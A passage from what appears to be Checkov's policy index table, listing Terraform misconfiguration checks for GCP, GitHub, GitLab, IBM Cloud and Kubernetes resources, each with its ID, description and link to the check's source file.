[GCPKMSCryptoKeysAreNotPubliclyAccessible.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPKMSCryptoKeysAreNotPubliclyAccessible.yaml)                                       |\n| 4260 | CKV2_GCP_6      | resource | google_kms_crypto_key_iam_binding                                | Ensure that Cloud KMS cryptokeys are not anonymously or publicly accessible                                                                                                                              | Terraform | [GCPKMSCryptoKeysAreNotPubliclyAccessible.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPKMSCryptoKeysAreNotPubliclyAccessible.yaml)                                       |\n| 4261 | CKV2_GCP_6      | resource | google_kms_crypto_key_iam_member                                 | Ensure that Cloud KMS cryptokeys are not anonymously or publicly accessible                                                                                                                              | Terraform | [GCPKMSCryptoKeysAreNotPubliclyAccessible.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPKMSCryptoKeysAreNotPubliclyAccessible.yaml)                                       |\n| 4262 | CKV2_GCP_7      | resource | google_sql_database_instance                                     | Ensure that a MySQL database instance does not allow anyone to connect with administrative privileges                                                                                                    | Terraform | [DisableAccessToSqlDBInstanceForRootUsersWithoutPassword.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/DisableAccessToSqlDBInstanceForRootUsersWithoutPassword.yaml)         |\n| 4263 | CKV2_GCP_7      | resource | google_sql_user                                                  | Ensure that a MySQL database instance does not allow anyone to connect with administrative privileges                                                                                                    | Terraform | [DisableAccessToSqlDBInstanceForRootUsersWithoutPassword.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/DisableAccessToSqlDBInstanceForRootUsersWithoutPassword.yaml)         |\n| 4264 | CKV2_GCP_8      | resource | google_kms_key_ring                                              | Ensure that Cloud KMS Key Rings are not anonymously or publicly accessible                                                                                                                               | Terraform | [GCPKMSKeyRingsAreNotPubliclyAccessible.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPKMSKeyRingsAreNotPubliclyAccessible.yaml)                                           |\n| 4265 | CKV2_GCP_8      | resource | google_kms_key_ring_iam_binding                                  | Ensure that Cloud KMS Key Rings are not anonymously or publicly accessible                                                                                                                               | Terraform | [GCPKMSKeyRingsAreNotPubliclyAccessible.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPKMSKeyRingsAreNotPubliclyAccessible.yaml)                                           |\n| 4266 | CKV2_GCP_8      | resource | google_kms_key_ring_iam_member                                   | Ensure that Cloud KMS Key Rings are not anonymously or publicly accessible                                                                                                                               | Terraform | [GCPKMSKeyRingsAreNotPubliclyAccessible.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPKMSKeyRingsAreNotPubliclyAccessible.yaml)                                           |\n| 4267 | CKV2_GCP_9      | resource | google_container_registry                                        | Ensure that Container Registry repositories are not anonymously or publicly accessible                                                                                                                   | Terraform | [GCPContainerRegistryReposAreNotPubliclyAccessible.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPContainerRegistryReposAreNotPubliclyAccessible.yaml)                     |\n| 4268 | CKV2_GCP_9      | resource | google_storage_bucket_iam_binding                                | Ensure that Container Registry repositories are not anonymously or publicly accessible                                                                                                                   | Terraform | [GCPContainerRegistryReposAreNotPubliclyAccessible.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPContainerRegistryReposAreNotPubliclyAccessible.yaml)                     |\n| 4269 | CKV2_GCP_9      | resource | google_storage_bucket_iam_member                                 | Ensure that Container Registry repositories are not anonymously or publicly accessible                                                                                                                   | Terraform | [GCPContainerRegistryReposAreNotPubliclyAccessible.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPContainerRegistryReposAreNotPubliclyAccessible.yaml)                     |\n| 4270 | CKV2_GCP_10     | resource | google_cloudfunctions_function                                   | Ensure GCP Cloud Function HTTP trigger is secured                                                                                                                                                        | Terraform | [CloudFunctionSecureHTTPTrigger.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/CloudFunctionSecureHTTPTrigger.yaml)                                                           |\n| 4271 | CKV2_GCP_11     | resource | google_project_services                                          | Ensure GCP GCR Container Vulnerability Scanning is enabled                                                                                                                                               | Terraform | [GCRContainerVulnerabilityScanningEnabled.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCRContainerVulnerabilityScanningEnabled.yaml)                                       |\n| 4272 | CKV2_GCP_12     | resource | google_compute_firewall                                          | Ensure GCP compute firewall ingress does not allow unrestricted access to all ports                                                                                                                      | Terraform | [GCPComputeFirewallOverlyPermissiveToAllTraffic.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPComputeFirewallOverlyPermissiveToAllTraffic.yaml)                           |\n| 4273 | CKV2_GCP_13     | resource | google_sql_database_instance                                     | Ensure PostgreSQL database flag 'log_duration' is set to 'on'                                                                                                                                            | Terraform | [GCPPostgreSQLDatabaseFlaglog_durationIsSetToON.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPPostgreSQLDatabaseFlaglog_durationIsSetToON.yaml)                           |\n| 4274 | CKV2_GCP_14     | resource | google_sql_database_instance                                     | Ensure PostgreSQL database flag 'log_executor_stats' is set to 'off'                                                                                                                                     | Terraform | [GCPPostgreSQLDatabaseFlaglog_executor_statsIsSetToOFF.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPPostgreSQLDatabaseFlaglog_executor_statsIsSetToOFF.yaml)             |\n| 4275 | CKV2_GCP_15     | resource | google_sql_database_instance                                     | Ensure PostgreSQL database flag 'log_parser_stats' is set to 'off'                                                                                                                                       | Terraform | [GCPPostgreSQLDatabaseFlaglog_parser_statsIsSetToOFF.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPPostgreSQLDatabaseFlaglog_parser_statsIsSetToOFF.yaml)                 |\n| 4276 | CKV2_GCP_16     | resource | google_sql_database_instance                                     | Ensure PostgreSQL database flag 'log_planner_stats' is set to 'off'                                                                                                                                      | Terraform | [GCPPostgreSQLDatabaseFlaglog_planner_statsIsSetToOFF.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPPostgreSQLDatabaseFlaglog_planner_statsIsSetToOFF.yaml)               |\n| 4277 | CKV2_GCP_17     | resource | google_sql_database_instance                                     | Ensure PostgreSQL database flag 'log_statement_stats' is set to 'off'                                                                                                                                    | Terraform | [GCPPostgreSQLDatabaseFlaglog_statement_statsIsSetToOFF.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPPostgreSQLDatabaseFlaglog_statement_statsIsSetToOFF.yaml)           |\n| 4278 | CKV2_GCP_18     | resource | google_compute_network                                           | Ensure GCP network defines a firewall and does not use the default firewall                                                                                                                              | Terraform | [GCPNetworkDoesNotUseDefaultFirewall.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPNetworkDoesNotUseDefaultFirewall.yaml)                                                 |\n| 4279 | CKV2_GCP_19     | resource | google_container_cluster                                         | Ensure GCP Kubernetes engine clusters have 'alpha cluster' feature disabled                                                                                                                              | Terraform | [GCPdisableAlphaClusterFeatureInKubernetesEngineClusters.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPdisableAlphaClusterFeatureInKubernetesEngineClusters.yaml)         |\n| 4280 | CKV2_GCP_20     | resource | google_sql_database_instance                                     | Ensure MySQL DB instance has point-in-time recovery backup configured                                                                                                                                    | Terraform | [GCPMySQLdbInstancePoint_In_TimeRecoveryBackupIsEnabled.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPMySQLdbInstancePoint_In_TimeRecoveryBackupIsEnabled.yaml)           |\n| 4281 | CKV2_GCP_21     | resource | google_notebooks_instance                                        | Ensure Vertex AI instance disks are encrypted with a Customer Managed Key (CMK)                                                                                                                          | Terraform | [GCPVertexInstanceEncryptedWithCMK.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPVertexInstanceEncryptedWithCMK.yaml)                                                     |\n| 4282 | CKV2_GCP_22     | resource | google_document_ai_processor                                     | Ensure Document AI Processors are encrypted with a Customer Managed Key (CMK)                                                                                                                            | Terraform | [GCPDocumentAIProcessorEncryptedWithCMK.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPDocumentAIProcessorEncryptedWithCMK.yaml)                                           |\n| 4283 | CKV2_GCP_23     | resource | google_document_ai_warehouse_location                            | Ensure Document AI Warehouse Location is configured to use a Customer Managed Key (CMK)                                                                                                                  | Terraform | [GCPDocumentAIWarehouseLocationEncryptedWithCMK.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPDocumentAIWarehouseLocationEncryptedWithCMK.yaml)                           |\n| 4284 | CKV2_GCP_24     | resource | google_vertex_ai_endpoint                                        | Ensure Vertex AI endpoint uses a Customer Managed Key (CMK)                                                                                                                                              | Terraform | [GCPVertexAIEndpointEncryptedWithCMK.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPVertexAIEndpointEncryptedWithCMK.yaml)                                                 |\n| 4285 | CKV2_GCP_25     | resource | google_vertex_ai_featurestore                                    | Ensure Vertex AI featurestore uses a Customer Managed Key (CMK)                                                                                                                                          | Terraform | [GCPVertexAIFeaturestoreEncryptedWithCMK.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPVertexAIFeaturestoreEncryptedWithCMK.yaml)                                         |\n| 4286 | CKV2_GCP_26     | resource | google_vertex_ai_tensorboard                                     | Ensure Vertex AI tensorboard uses a Customer Managed Key (CMK)                                                                                                                                           | Terraform | [GCPVertexAITensorboardEncryptedWithCMK.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPVertexAITensorboardEncryptedWithCMK.yaml)                                           |\n| 4287 | CKV2_GCP_27     | resource | google_workbench_instance                                        | Ensure Vertex AI workbench instance disks are encrypted with a Customer Managed Key (CMK)                                                                                                                | Terraform | [GCPVertexWorkbenchInstanceEncryptedWithCMK.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPVertexWorkbenchInstanceEncryptedWithCMK.yaml)                                   |\n| 4288 | CKV2_GCP_28     | resource | google_workbench_instance                                        | Ensure Vertex AI workbench instances are private                                                                                                                                                         | Terraform | [GCPVertexWorkbenchInstanceNoPublicIp.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPVertexWorkbenchInstanceNoPublicIp.yaml)                                               |\n| 4289 | CKV2_GCP_29     | resource | google_dialogflow_agent                                          | Ensure logging is enabled for Dialogflow agents                                                                                                                                                          | Terraform | [GCPDialogFlowAgentLoggingEnabled.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPDialogFlowAgentLoggingEnabled.yaml)                                                       |\n| 4290 | CKV2_GCP_30     | resource | google_dialogflow_cx_agent                                       | Ensure logging is enabled for Dialogflow CX agents                                                                                                                                                       | Terraform | [GCPDialogFlowCxAgentLoggingEnabled.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPDialogFlowCxAgentLoggingEnabled.yaml)                                                   |\n| 4291 | CKV2_GCP_31     | resource | google_dialogflow_cx_webhook                                     | Ensure logging is enabled for Dialogflow CX webhooks                                                                                                                                                     | Terraform | [GCPDialogFlowCxWebhookLoggingEnabled.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPDialogFlowCxWebhookLoggingEnabled.yaml)                                               |\n| 4292 | CKV2_GCP_32     | resource | google_tpu_v2_vm                                                 | Ensure TPU v2 is private                                                                                                                                                                                 | Terraform | [GCPTpuV2VmPrivateEndpoint.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPTpuV2VmPrivateEndpoint.yaml)                                                                     |\n| 4293 | CKV2_GCP_33     | resource | google_vertex_ai_endpoint                                        | Ensure Vertex AI endpoint is private                                                                                                                                                                     | Terraform | [GCPVertexAIPrivateEndpoint.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPVertexAIPrivateEndpoint.yaml)                                                                   |\n| 4294 | CKV2_GCP_34     | resource | google_vertex_ai_index_endpoint                                  | Ensure Vertex AI index endpoint is private                                                                                                                                                               | Terraform | [GCPVertexAIPrivateIndexEndpoint.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPVertexAIPrivateIndexEndpoint.yaml)                                                         |\n| 4295 | CKV2_GCP_35     | resource | google_notebooks_runtime                                         | Ensure Vertex AI runtime is encrypted with a Customer Managed Key (CMK)                                                                                                                                  | Terraform | [GCPVertexRuntimeEncryptedWithCMK.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPVertexRuntimeEncryptedWithCMK.yaml)                                                       |\n| 4296 | CKV2_GCP_36     | resource | google_notebooks_runtime                                         | Ensure Vertex AI runtime is private                                                                                                                                                                      | Terraform | [GCPVertexRuntimePrivate.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPVertexRuntimePrivate.yaml)                                                                         |\n| 4297 | CKV2_GCP_37     | resource | google_compute_forwarding_rule                                   | Ensure GCP compute regional forwarding rule does not use HTTP proxies with EXTERNAL load balancing scheme                                                                                                | Terraform | [GCPComputeRegionalForwardingRuleCheck.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPComputeRegionalForwardingRuleCheck.yaml)                                             |\n| 4298 | CKV2_GCP_38     | resource | google_compute_global_forwarding_rule                            | Ensure GCP compute global forwarding rule does not use HTTP proxies with EXTERNAL load balancing scheme                                                                                                  | Terraform | [GCPComputeGlobalForwardingRuleCheck.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPComputeGlobalForwardingRuleCheck.yaml)                                                 |\n| 4299 | CKV_GIT_1       | resource | github_repository                                                | Ensure GitHub repository is Private                                                                                                                                                                      | Terraform | [PrivateRepo.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/github/PrivateRepo.py)                                                                                                      |\n| 4300 | CKV_GIT_2       | resource | github_repository_webhook                                        | Ensure GitHub repository webhooks are using HTTPS                                                                                                                                                        | Terraform | [WebhookInsecureSsl.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/github/WebhookInsecureSsl.py)                                                                                        |\n| 4301 | CKV_GIT_3       | resource | github_repository                                                | Ensure GitHub repository has vulnerability alerts enabled                                                                                                                                                | Terraform | [RepositoryEnableVulnerabilityAlerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/github/RepositoryEnableVulnerabilityAlerts.py)                                                      |\n| 4302 | CKV_GIT_4       | resource | github_actions_environment_secret                                | Ensure GitHub Actions secrets are encrypted                                                                                                                                                              | Terraform | [SecretsEncrypted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/github/SecretsEncrypted.py)                                                                                            |\n| 4303 | CKV_GIT_4       | resource | github_actions_organization_secret                               | Ensure GitHub Actions secrets are encrypted                                                                                                                                                              | Terraform | [SecretsEncrypted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/github/SecretsEncrypted.py)                                                                                            |\n| 4304 | CKV_GIT_4       | resource | github_actions_secret                                            | Ensure GitHub Actions secrets are encrypted                                                                                                                                                              | Terraform | [SecretsEncrypted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/github/SecretsEncrypted.py)                                                                                            |\n| 4305 | CKV_GIT_5       | resource | github_branch_protection                                         | GitHub pull requests should require at least 2 approvals                                                                                                                                                 | Terraform | [BranchProtectionReviewNumTwo.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/github/BranchProtectionReviewNumTwo.py)                                                                    |\n| 4306 | CKV_GIT_5       | resource | github_branch_protection_v3                                      | GitHub pull requests should require at least 2 approvals                                                                                                                                                 | Terraform | [BranchProtectionReviewNumTwo.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/github/BranchProtectionReviewNumTwo.py)                                                                    |\n| 4307 | CKV_GIT_6       | resource | github_branch_protection                                         | Ensure GitHub branch protection rules requires signed commits                                                                                                                                            | Terraform | [BranchProtectionRequireSignedCommits.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/github/BranchProtectionRequireSignedCommits.py)                                                    |\n| 4308 | CKV_GIT_6       | resource | github_branch_protection_v3                                      | Ensure GitHub branch protection rules requires signed commits                                                                                                                                            | Terraform | [BranchProtectionRequireSignedCommits.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/github/BranchProtectionRequireSignedCommits.py)                                                    |\n| 4309 | CKV2_GIT_1      | resource | github_repository                                                | Ensure each Repository has branch protection associated                                                                                                                                                  | Terraform | [RepositoryHasBranchProtection.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/github/RepositoryHasBranchProtection.yaml)                                                          |\n| 4310 | CKV_GLB_1       | resource | gitlab_project                                                   | Ensure at least two approving reviews are required to merge a GitLab MR                                                                                                                                  | Terraform | [RequireTwoApprovalsToMerge.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gitlab/RequireTwoApprovalsToMerge.py)                                                                        |\n| 4311 | CKV_GLB_2       | resource | gitlab_branch_protection                                         | Ensure GitLab branch protection rules does not allow force pushes                                                                                                                                        | Terraform | [ForcePushDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gitlab/ForcePushDisabled.py)                                                                                          |\n| 4312 | CKV_GLB_3       | resource | gitlab_project                                                   | Ensure GitLab prevent secrets is enabled                                                                                                                                                                 | Terraform | [PreventSecretsEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gitlab/PreventSecretsEnabled.py)                                                                                  |\n| 4313 | CKV_GLB_4       | resource | gitlab_project                                                   | Ensure GitLab commits are signed                                                                                                                                                                         | Terraform | [RejectUnsignedCommits.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gitlab/RejectUnsignedCommits.py)                                                                                  |\n| 4314 | CKV2_IBM_1      | resource | ibm_is_lb                                                        | Ensure load balancer for VPC is private (disable public access)                                                                                                                                          | Terraform | [IBM_LoadBalancerforVPCisPrivate.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/ibm/IBM_LoadBalancerforVPCisPrivate.yaml)                                                         |\n| 4315 | CKV2_IBM_2      | resource | ibm_is_vpc                                                       | Ensure VPC classic access is disabled                                                                                                                                                                    | Terraform | [IBM_VPCclassicAccessIsDisabled.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/ibm/IBM_VPCclassicAccessIsDisabled.yaml)                                                           |\n| 4316 | CKV2_IBM_3      | resource | ibm_iam_account_settings                                         | Ensure API key creation is restricted in account settings                                                                                                                                                | Terraform | [IBM_RestrictAPIkeyCreationInAccountSettings.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/ibm/IBM_RestrictAPIkeyCreationInAccountSettings.yaml)                                 |\n| 4317 | CKV2_IBM_4      | resource | ibm_iam_account_settings                                         | Ensure Multi-Factor Authentication (MFA) is enabled at the account level                                                                                                                                 | Terraform | [IBM_EnableMFAatAccountLevel.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/ibm/IBM_EnableMFAatAccountLevel.yaml)                                                                 |\n| 4318 | CKV2_IBM_5      | resource | ibm_iam_account_settings                                         | Ensure Service ID creation is restricted in account settings                                                                                                                                             | Terraform | [IBM_RestrictServiceIDCreationInAccountSettings.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/ibm/IBM_RestrictServiceIDCreationInAccountSettings.yaml)                           |\n| 4319 | CKV2_IBM_7      | resource | ibm_container_cluster                                            | Ensure Kubernetes clusters are accessible by using private endpoint and NOT public endpoint                                                                                                              | Terraform | [IBM_K8sClustersAccessibleViaPrivateEndPt.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/ibm/IBM_K8sClustersAccessibleViaPrivateEndPt.yaml)                                       |\n| 4320 | CKV_K8S_1       | resource | kubernetes_pod_security_policy                                   | Do not admit containers wishing to share the host process ID namespace                                                                                                                                   | Terraform | [ShareHostPIDPSP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/ShareHostPIDPSP.py)                                                                                          |\n| 4321 | CKV_K8S_2       | resource | kubernetes_pod_security_policy                                   | Do not admit privileged containers                                                                                                                                                                       | Terraform | [PrivilegedContainerPSP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/PrivilegedContainerPSP.py)                                                                            |\n| 4322 | CKV_K8S_3       | resource | kubernetes_pod_security_policy                                   | Do not admit containers wishing to share the host IPC namespace                                                                                                                                          | Terraform | [ShareHostIPCPSP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/ShareHostIPCPSP.py)                                                                                          |\n| 4323 | CKV_K8S_4       | resource | kubernetes_pod_security_policy                                   | Do not admit containers wishing to share the host network namespace                                                                                                                                      | Terraform | [SharedHostNetworkNamespacePSP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/SharedHostNetworkNamespacePSP.py)                                                              |\n| 4324 | CKV_K8S_5       | resource | kubernetes_pod_security_policy                                   | Containers should not run with allowPrivilegeEscalation                                                                                                                                                  | Terraform | [AllowPrivilegeEscalationPSP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/AllowPrivilegeEscalationPSP.py)                                                                  |\n| 4325 | CKV_K8S_6       | resource | kubernetes_pod_security_policy                                   | Do not admit root containers                                                                                                                                                                             | Terraform | [RootContainerPSP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/RootContainerPSP.py)                                                                                        |\n| 4326 | CKV_K8S_7       | resource | kubernetes_pod_security_policy                                   | Do not admit containers with the NET_RAW capability                                                                                                                                                      | Terraform | [DropCapabilitiesPSP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DropCapabilitiesPSP.py)                                                                                  |\n| 4327 | CKV_K8S_8       | resource | kubernetes_deployment                                            | Liveness Probe Should be Configured                                                                                                                                                                      | Terraform | [LivenessProbe.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/LivenessProbe.py)                                                                                              |\n| 4328 | CKV_K8S_8       | resource | kubernetes_deployment_v1                                         | Liveness Probe Should be Configured                                                                                                                                                                      | Terraform | [LivenessProbe.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/LivenessProbe.py)                                                                                              |\n| 4329 | CKV_K8S_8       | resource | kubernetes_pod                                                   | Liveness Probe Should be Configured                                                                                                                                                                      | Terraform | [LivenessProbe.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/LivenessProbe.py)                                                                                              |\n| 4330 | CKV_K8S_8       | resource | kubernetes_pod_v1                                                | Liveness Probe Should be Configured                                                                                                                                                                      | Terraform | [LivenessProbe.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/LivenessProbe.py)                                                                                              |\n| 4331 | CKV_K8S_9       | resource | kubernetes_deployment                                            | Readiness Probe Should be Configured                                                                                                                                                                     | Terraform | [ReadinessProbe.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/ReadinessProbe.py)                                                                                            |\n| 4332 | CKV_K8S_9       | resource | kubernetes_deployment_v1                                         | Readiness Probe Should be Configured                                                                                                                                                                     | Terraform | [ReadinessProbe.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/ReadinessProbe.py)                                                                                            |\n| 4333 | CKV_K8S_9       | resource | kubernetes_pod                                                   | Readiness Probe Should be Configured                                                                                                                                                                     | Terraform | [ReadinessProbe.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/ReadinessProbe.py)                                                                                            |\n| 4334 | CKV_K8S_9       | resource | kubernetes_pod_v1                                                | Readiness Probe Should be Configured                                                                                                                                                                     | Terraform | [ReadinessProbe.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/ReadinessProbe.py)                                                                                            |\n| 4335 | CKV_K8S_10      | resource | kubernetes_deployment                                            | CPU requests should be set                                                                                                                                                                               | Terraform | [CPURequests.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/CPURequests.py)                                                                                                  |\n| 4336 | CKV_K8S_10      | resource | kubernetes_deployment_v1                                         | CPU requests should be set                                                                                                                                                                               | Terraform | [CPURequests.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/CPURequests.py)                                                                                                  |\n| 4337 | CKV_K8S_10      | resource | kubernetes_pod                                                   | CPU requests should be set                                                                                                                                                                               | Terraform | [CPURequests.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/CPURequests.py)                                                                                                  |\n| 4338 | CKV_K8S_10      | resource | kubernetes_pod_v1                                                | CPU requests should be set                                                                                                                                                                               | Terraform | [CPURequests.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/CPURequests.py)                                                                                                  |\n| 4339 | CKV_K8S_11      | resource | kubernetes_deployment                                            | CPU Limits should be set                                                                                                                                                                                 | Terraform | [CPULimits.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/CPULimits.py)                                                                                                      |\n| 4340 | CKV_K8S_11      | resource | kubernetes_deployment_v1                                         | CPU Limits should be set                                                                                                                                                                                 | Terraform | [CPULimits.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/CPULimits.py)                                                                                                      |\n| 4341 | CKV_K8S_11      | resource | kubernetes_pod                                                   | CPU Limits should be set                                                                                                                                                                                 | Terraform | [CPULimits.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/CPULimits.py)                                                                                                      |\n| 4342 | CKV_K8S_11      | resource | kubernetes_pod_v1                                                | CPU Limits should be set                                                                                                                                                                                 | Terraform | [CPULimits.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/CPULimits.py)                                                                                                      |\n| 4343 | CKV_K8S_12      | resource | kubernetes_deployment                                            | Memory Limits should be set                                                                                                                                                                              | Terraform | [MemoryLimits.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/MemoryLimits.py)                                                                                                |\n| 4344 | CKV_K8S_12      | resource | kubernetes_deployment_v1                                         | Memory Limits should be set                                                                                                                                                                              | Terraform | [MemoryLimits.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/MemoryLimits.py)                                                                                                |\n| 4345 | CKV_K8S_12      | resource | kubernetes_pod                                                   | Memory Limits should be set                                                                                                                                                                              | Terraform | [MemoryLimits.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/MemoryLimits.py)                                                                                                |\n| 4346 | CKV_K8S_12      | resource | kubernetes_pod_v1                                                | Memory Limits should be set                                                                                                                                                                              | Terraform | [MemoryLimits.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/MemoryLimits.py)                                                                                                |\n| 4347 | CKV_K8S_13      | resource | kubernetes_deployment                                            | Memory requests should be set                                                                                                                                                                            | Terraform | [MemoryRequests.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/MemoryRequests.py)                                                                                            |\n| 4348 | CKV_K8S_13      | resource | kubernetes_deployment_v1                                         | Memory requests should be set                                                                                                                                                                            | Terraform | [MemoryRequests.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/MemoryRequests.py)                                                                                            |\n| 4349 | CKV_K8S_13      | resource | kubernetes_pod                                                   | Memory requests should be set                                                                                                                                                                            | Terraform | [MemoryRequests.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/MemoryRequests.py)                                                                                            |\n| 4350 | CKV_K8S_13      | resource | kubernetes_pod_v1                                                | Memory requests should be set                                                                                                                                                                            | Terraform | [MemoryRequests.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/MemoryRequests.py)                                                                                            |\n| 4351 | CKV_K8S_14      | resource | 